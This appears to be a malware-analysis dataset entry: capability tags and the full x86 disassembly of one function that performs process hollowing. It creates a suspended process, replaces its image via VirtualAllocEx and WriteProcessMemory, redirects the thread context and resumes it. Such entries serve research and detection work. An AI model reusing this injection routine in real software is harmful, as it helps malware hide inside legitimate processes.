Function at 0x413aca
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 4], 0
mov eax, 0x5a4d
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x14], ecx
cmp word [edx], ax
je 0x413aeb
xor al, al
jmp 0x413cc6
push ebx
mov ebx, dword [edx + 0x3c]
add ebx, edx
cmp dword [ebx], 0x4550
je 0x413b00
xor al, al
jmp 0x413cc5
push esi
push edi
push 0x44
lea eax, [ebp - 0x58]
push 0
push eax
call fcn.00431810
mov esi, dword [ebp + 8]
xor eax, eax
mov edi, esi
add esp, 0xc
stosd dword es:[edi], eax
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
push eax
xor eax, eax
push eax
push eax
push 4
push eax
push eax
push eax
push dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x413cc1
push dword [ebp - 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call edi
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push edi
mov dword [ebp - 0x10], edi
mov dword [edi], 0x10007
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x413ca0
push 0
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x413ca0
mov eax, dword [ebp - 4]
cmp eax, dword [ebx + 0x34]
jne 0x413bb3
push eax
push dword [esi]
call dword [0x46bd28]
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ebx + 0x34]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413ca0
mov edi, dword [ebp - 0xc]
push 0
push dword [ebx + 0x54]
push edi
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x413ca0
and dword [ebp - 8], 0
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x413c41
xor edx, edx
mov dword [ebp - 0xc], edx
mov ecx, dword [edi + 0x3c]
add ecx, edx
push 0
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, dword [ebp - 0x14]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
inc ecx
movzx eax, word [ebx + 6]
add edx, 0x28
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
cmp ecx, eax
jl 0x413bfe
mov eax, dword [ebp - 4]
lea ecx, [ebx + 0x34]
mov edi, dword [ebp - 0x10]
cmp eax, dword [ecx]
je 0x413c74
mov eax, dword [edi + 0xa4]
push 0
push 4
push ecx
add eax, 8
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x413c74
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x413cc1
mov eax, dword [ebx + 0x28]
add eax, dword [ebp - 0x14]
push edi
mov dword [edi + 0xb0], eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x413ca0
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x413ca0
mov al, 1
jmp 0x413cc3
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 4]
call edi
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret